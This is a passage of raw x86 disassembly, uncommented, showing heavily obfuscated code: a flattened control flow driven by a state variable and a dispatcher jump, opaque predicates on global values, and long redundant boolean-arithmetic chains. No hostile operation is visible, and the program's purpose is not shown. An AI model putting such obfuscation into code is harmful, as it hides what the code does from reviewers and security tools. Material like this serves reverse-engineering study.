mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x4b6], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 1
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x4b6]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2aa8407f
mov ecx, 0x23b8c0f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dl, byte [ebp - 0xf1]
mov eax, 0x4ce27e61
mov ecx, 0x18baed77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov esi, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x670], eax
mov ecx, 0xffffffff
xor ecx, 0xfff
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xfff
or ecx, eax
mov edi, 0xffffffff
xor edi, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x5df6f9db
or edi, ecx
or eax, 0x5df6f9db
xor edi, 0xffffffff
and edi, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x3e7ef410
mov edx, 0xffffffff
xor edx, 0x3e7ef410
mov ebx, edx
and ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x3e7ef410
and edx, 0xffffffff
or eax, ebx
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0xfff
and eax, 0xfff
mov ebx, edi
xor ebx, 0xffffffff
mov dword [ebp - 0x688], ebx
mov edx, eax
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xa1e6cc78
and ebx, 0xa1e6cc78
and edi, ecx
mov dword [ebp - 0x690], edi
mov edi, edx
and edi, 0xa1e6cc78
and eax, ecx
mov dword [ebp - 0x68c], eax
mov eax, dword [ebp - 0x690]
or ebx, eax
mov eax, dword [ebp - 0x68c]
or edi, eax
mov eax, dword [ebp - 0x688]
xor ebx, edi
mov edi, dword [ebp - 0x670]
or eax, edx
xor eax, 0xffffffff
or ecx, 0xa1e6cc78
and eax, ecx
or ebx, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0xaf9a0ad7
mov ecx, 0xffffffff
xor ecx, 0xaf9a0ad7
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xaf9a0ad7
and ecx, 0xffffffff
or edx, edi
or eax, ecx
xor edx, eax
mov ecx, ebx
xor ecx, 0xffffffff
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xf7be80ca
or ecx, edx
or eax, 0xf7be80ca
xor ecx, 0xffffffff
and ecx, eax
mov edx, ebx
xor edx, 0xffffffff
and edx, 0x808d7620
mov edi, 0xffffffff
xor edi, 0x808d7620
and ebx, edi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x808d7620
and edi, 0xffffffff
or edx, ebx
mov ebx, dword [ebp - 0x670]
or eax, edi
xor edx, eax
xor ebx, 0xffffffff
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x455e9875
or ebx, edx
or eax, 0x455e9875
xor ebx, 0xffffffff
and ebx, eax
mov dword [ebp - 0x684], ebx
mov edx, ecx
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x7c13a468
mov eax, edx
and eax, 0x7c13a468
mov dword [ebp - 0x680], eax
and ecx, edi
mov eax, ebx
and eax, 0x7c13a468
mov dword [ebp - 0x678], eax
mov eax, dword [ebp - 0x684]
and eax, edi
mov dword [ebp - 0x67c], eax
mov eax, dword [ebp - 0x680]
or eax, ecx
mov ecx, dword [ebp - 0x67c]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x678]
or eax, ecx
mov ecx, dword [ebp - 0x674]
xor ecx, eax
mov eax, dword [ebp - 0x670]
or edx, ebx
xor edx, 0xffffffff
or edi, 0x7c13a468
and edx, edi
or ecx, edx
mov edi, eax
xor edi, 0xffffffff
and edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or edi, eax
mov edx, ecx
xor edx, 0xffffffff
mov eax, edi
and eax, edx
xor edi, 0xffffffff
mov edx, ecx
and edx, edi
or eax, edx
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov ecx, 0x82739296
add ecx, 0
sub ecx, 0x3a46deee
sub ecx, 0x82739296
xor eax, eax
sub eax, esi
add ecx, eax
add ecx, 0xb331db5a
add ecx, 0x3a46deee
sub ecx, 0xb331db5a
xor eax, eax
sub eax, 0x15fe6068
sub eax, edx
add eax, 0x15fe6068
xor edx, edx
sub edx, 0xd5b13b41
add edx, eax
add edx, 0xd5b13b41
mov eax, 0x56119e17
add eax, 0
sub eax, ecx
sub eax, 0x56119e17
mov ecx, 0xecb560a0
add ecx, 0
sub ecx, edx
sub ecx, 0xecb560a0
sub eax, 0xa573a4e6
add eax, ecx
add eax, 0xa573a4e6
mov edx, 0xb48ec834
add edx, 0
sub edx, eax
sub edx, 0xb48ec834
xor ecx, ecx
sub ecx, 0xbf4e7899
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
sub eax, 0x67caf182
sub eax, 0xbf4e7899
mov ecx, dword [eax + 0x67caf182]
mov edx, dword [ebp - 0xf0]
xor edi, edi
sub edi, 0x8af5652f
xor esi, esi
sub esi, edi
sub esi, 0xdb5f8cf1
sub esi, ecx
add esi, 0xdb5f8cf1
xor ecx, ecx
sub ecx, 0x8af5652f
add esi, ecx
xor ecx, ecx
sub ecx, 0x6b0bd0f3
sub ecx, edx
add ecx, 0x6b0bd0f3
mov edx, 0x65eaf584
add edx, 0
add edx, ecx
sub edx, 0x65eaf584
xor ecx, ecx
sub ecx, esi
add ecx, 0
mov esi, 0xe496bff1
add esi, 0
sub esi, edx
sub esi, 0xe496bff1
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
xor esi, esi
sub esi, 0x5f329754
sub esi, ecx
add esi, 0x5f329754
xor ecx, ecx
sub ecx, 0xea04cc31
add ecx, 0xe8a5a242
add ecx, 0xea04cc31
xor edx, edx
sub edx, esi
add ecx, edx
add ecx, 0x8bb0c12d
sub ecx, 0xe8a5a242
sub ecx, 0x8bb0c12d
mov dword [eax + 0x67caf182], ecx
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
mov edx, ecx
sub edx, 0x5fc15bfe
sub edx, 0x57dd6c8e
add edx, 0x5fc15bfe
add edx, 0xe746cb33
sub edx, 0xd0bc8994
sub edx, 0xe746cb33
add edx, 0x38a8b40e
add edx, 0x57dd6c8e
sub edx, 0x38a8b40e
xor esi, esi
sub esi, 0x6361feed
add edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x6361feed
sub edx, esi
sub edx, 0x44943e2c
add edx, 0x6abbe51f
add edx, 0x44943e2c
sub edx, 0x1cfdd269
add edx, 0xd0bc8994
add edx, 0x1cfdd269
sub edx, 0x95ef746a
sub edx, 0x6abbe51f
add edx, 0x95ef746a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl cl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov al, ch
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, ch
and al, dl
or ah, al
xor ah, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 0
or ah, dl
or al, 0
xor ah, 0xff
and ah, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, dh
or al, dl
xor bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov dl, 1
xor dl, 0
and dl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bh
or al, dh
xor dl, al
mov dh, dl
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov byte [ebp - 0x66b], al
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov al, cl
and al, bh
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or ch, al
mov al, byte [ebp - 0x66b]
or dh, bh
xor ch, dh
xor ch, 0xff
mov bh, 1
xor bh, 0
mov dh, 1
xor dh, 0
or ch, bh
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x668], ch
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, cl
and dl, 0xff
and bl, ch
mov byte [ebp - 0x66a], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x669], al
mov al, byte [ebp - 0x66a]
or dl, al
mov al, byte [ebp - 0x669]
or bl, al
mov al, byte [ebp - 0x668]
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x667], cl
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
and cl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x667]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and dl, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ch, dl
or al, cl
xor ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or al, cl
mov byte [ebp - 0x65f], al
mov bh, ch
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or bh, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, dl
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov dh, 1
xor dh, 1
mov ah, bh
xor ah, dh
and ah, bh
mov byte [ebp - 0x663], ah
mov dh, dl
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x664], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
and al, ch
mov byte [ebp - 0x666], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x665], al
mov al, byte [ebp - 0x666]
and cl, ch
or dh, al
mov al, byte [ebp - 0x665]
or al, cl
mov cl, byte [ebp - 0x664]
xor dh, al
mov al, byte [ebp - 0x663]
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x660], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov byte [ebp - 0x662], al
mov al, bl
and al, 0
mov byte [ebp - 0x661], al
mov al, byte [ebp - 0x662]
and cl, ah
or ch, al
mov al, byte [ebp - 0x661]
or al, cl
mov cl, byte [ebp - 0x660]
xor ch, al
mov al, byte [ebp - 0x65f]
or cl, bl
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x65e], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x65e]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x561d7d52
mov ecx, 0xfad679b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xef0972fa
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xcd599226
jmp 0x486e58
mov eax, dword [ebp - 0x1d0]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x1d4]
add eax, 0x615eb2ef
add eax, 0x6490a595
sub eax, 0x615eb2ef
sub eax, 0xa9cfd7cb
add eax, 0x1408e4c4
add eax, 0xa9cfd7cb
xor ecx, ecx
sub ecx, 0x6490a595
add eax, ecx
mov ecx, 0x510d18c3
add ecx, 0
sub ecx, edx
sub ecx, 0x510d18c3
add eax, 0x57dc7f8b
sub eax, ecx
sub eax, 0x57dc7f8b
xor ecx, ecx
sub ecx, 0x905a569a
add eax, ecx
xor ecx, ecx
sub ecx, 0x1408e4c4
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x905a569a
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor esi, esi
sub esi, 0xa5762b05
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0xebdfec7b
sub edx, 0xa5762b05
sub edx, 0xebdfec7b
xor esi, esi
sub esi, ecx
add esi, 0
xor edi, edi
sub edi, edx
add edi, 0
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x70552587
sub edx, esi
add edx, 0x70552587
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
mov byte [ebp - 0x761], bl
cmp eax, 0xa
setl cl
mov byte [ebp - 0x757], cl
mov bh, bl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov dl, bh
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or al, bh
or dh, bl
xor al, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0x73a], al
mov ah, cl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or bh, dh
or dl, ch
xor bh, dl
xor bh, 0xff
mov ch, 1
xor ch, 1
mov dl, 1
xor dl, 1
or bh, ch
or dl, 1
xor bh, 0xff
and bh, dl
mov bl, 1
xor bl, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or bl, ah
or dl, 1
xor bl, 0xff
and bl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, al
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov ah, 1
xor ah, 0
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov al, 1
xor al, 0
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dl, bh
or ch, bl
xor dl, ch
xor dl, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x765], dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, ah
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dl
and ch, 0xff
and ah, bl
mov byte [ebp - 0x767], ah
mov ah, bh
and ah, 0xff
and al, bl
mov byte [ebp - 0x766], al
mov al, byte [ebp - 0x767]
or ch, al
mov al, byte [ebp - 0x766]
or ah, al
mov al, byte [ebp - 0x765]
xor ch, ah
mov ah, byte [ebp - 0x73a]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or ch, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ch
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and ch, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0x732], al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov byte [ebp - 0x764], cl
mov cl, al
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
mov bh, cl
and bh, 0
and al, dl
mov ch, ah
and ch, 0
and bl, dl
or bh, al
mov al, byte [ebp - 0x764]
or ch, bl
xor bh, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or bh, cl
mov dl, 1
xor dl, 1
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
mov ch, dl
and ch, 0xff
mov cl, ah
and cl, 1
mov byte [ebp - 0x763], cl
mov cl, bl
and cl, 0xff
and al, ah
mov byte [ebp - 0x762], al
mov al, byte [ebp - 0x763]
or ch, al
mov al, byte [ebp - 0x762]
or cl, al
mov al, byte [ebp - 0x761]
xor ch, cl
mov cl, byte [ebp - 0x732]
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or ch, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or dl, bh
or ah, bl
xor dl, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and al, ah
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
mov byte [ebp - 0x75e], cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and bh, ch
mov byte [ebp - 0x760], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x75f], al
mov al, byte [ebp - 0x760]
or ah, al
mov al, byte [ebp - 0x75f]
or bh, al
mov al, byte [ebp - 0x75e]
xor ah, bh
or cl, bl
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov bl, dh
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, bl
or al, ch
xor cl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov byte [ebp - 0x75d], bh
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
or al, ch
mov byte [ebp - 0x758], al
mov ch, cl
xor ch, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, ch
and al, 0xff
mov byte [ebp - 0x75c], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x75b], al
mov al, byte [ebp - 0x75d]
and al, bl
mov byte [ebp - 0x75a], al
mov al, byte [ebp - 0x75c]
or al, cl
mov cl, byte [ebp - 0x75b]
mov byte [ebp - 0x759], al
mov al, byte [ebp - 0x75a]
or cl, al
mov al, byte [ebp - 0x759]
xor al, cl
mov cl, byte [ebp - 0x758]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or al, ch
mov ch, cl
and ch, 0
xor cl, 0
or ch, cl
mov bl, al
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
and al, bh
mov cl, 1
xor cl, 1
and cl, 0
and bh, 1
or bl, al
mov al, byte [ebp - 0x757]
or cl, bh
xor bl, cl
xor bl, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or bl, ch
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and al, bh
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x732]
or ch, bh
xor cl, ch
mov byte [ebp - 0x756], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and al, bh
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x756]
or ch, bh
xor cl, ch
mov ch, 1
xor ch, 0
and ch, 1
mov bh, 1
xor bh, 1
and bh, 0
or ch, bh
mov byte [ebp - 0x751], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x753], ch
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x752], bh
mov bh, 1
xor bh, 1
and ch, 0xff
and al, bh
mov byte [ebp - 0x755], al
mov al, byte [ebp - 0x752]
and al, 0xff
mov byte [ebp - 0x754], al
mov al, byte [ebp - 0x755]
and cl, bh
or ch, al
mov al, byte [ebp - 0x754]
or al, cl
mov cl, byte [ebp - 0x753]
xor ch, al
mov al, byte [ebp - 0x752]
or cl, al
mov al, byte [ebp - 0x751]
xor cl, 0xff
or bh, 1
and cl, bh
or ch, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x74b], cl
xor al, 0xff
mov byte [ebp - 0x74c], al
mov bh, 1
xor bh, 1
and cl, 0xff
mov byte [ebp - 0x750], cl
mov cl, bh
and cl, 0
and al, 0xff
mov byte [ebp - 0x74f], al
mov al, byte [ebp - 0x751]
and al, bh
mov byte [ebp - 0x74e], al
mov al, byte [ebp - 0x750]
or al, cl
mov cl, byte [ebp - 0x74f]
mov byte [ebp - 0x74d], al
mov al, byte [ebp - 0x74e]
or cl, al
mov al, byte [ebp - 0x74d]
xor al, cl
mov cl, byte [ebp - 0x74c]
mov byte [ebp - 0x74a], al
mov al, byte [ebp - 0x74b]
or al, cl
mov cl, byte [ebp - 0x74a]
xor al, 0xff
or bh, 1
and al, bh
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ch, bh
or al, ch
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov bh, dl
xor bh, 0xff
mov cl, ah
and cl, bh
xor ah, 0xff
and dl, ah
or cl, dl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, bl
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ah, bl
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x73f], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 0
mov byte [ebp - 0x749], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x748], al
mov al, byte [ebp - 0x749]
and ah, 1
or cl, al
mov al, byte [ebp - 0x748]
or al, ah
mov ah, byte [ebp - 0x73f]
xor cl, al
mov byte [ebp - 0x740], cl
mov al, 1
xor al, 0
xor ah, al
mov al, byte [ebp - 0x73f]
and ah, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x747], al
mov al, 1
xor al, 0
mov byte [ebp - 0x746], al
mov al, byte [ebp - 0x747]
or cl, al
mov al, byte [ebp - 0x746]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x740]
mov byte [ebp - 0x745], cl
xor al, 0xff
mov cl, ch
xor cl, al
mov al, byte [ebp - 0x745]
and cl, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x741], bl
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x742], ah
mov ah, 1
xor ah, 1
and bl, 0xff
and al, ah
mov byte [ebp - 0x744], al
mov al, byte [ebp - 0x742]
and al, 0xff
mov byte [ebp - 0x743], al
mov al, byte [ebp - 0x744]
and cl, ah
or bl, al
mov al, byte [ebp - 0x743]
or al, cl
mov cl, byte [ebp - 0x742]
xor bl, al
mov al, byte [ebp - 0x741]
or al, cl
mov cl, byte [ebp - 0x740]
xor al, 0xff
or ah, 1
and al, ah
or bl, al
mov al, ch
xor al, 0xff
mov ah, bl
and ah, al
mov al, byte [ebp - 0x73f]
xor bl, 0xff
and ch, bl
or ah, ch
mov byte [ebp - 0x73b], ah
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov byte [ebp - 0x73c], al
mov dl, 1
xor dl, 0
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 0
mov byte [ebp - 0x73e], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x73d], al
mov al, byte [ebp - 0x73e]
and cl, ch
or ah, al
mov al, byte [ebp - 0x73d]
or al, cl
mov cl, byte [ebp - 0x73c]
xor ah, al
mov al, byte [ebp - 0x73b]
or dl, bl
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bh
and al, dl
or cl, al
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov dl, ch
xor dl, 0xff
and dl, 1
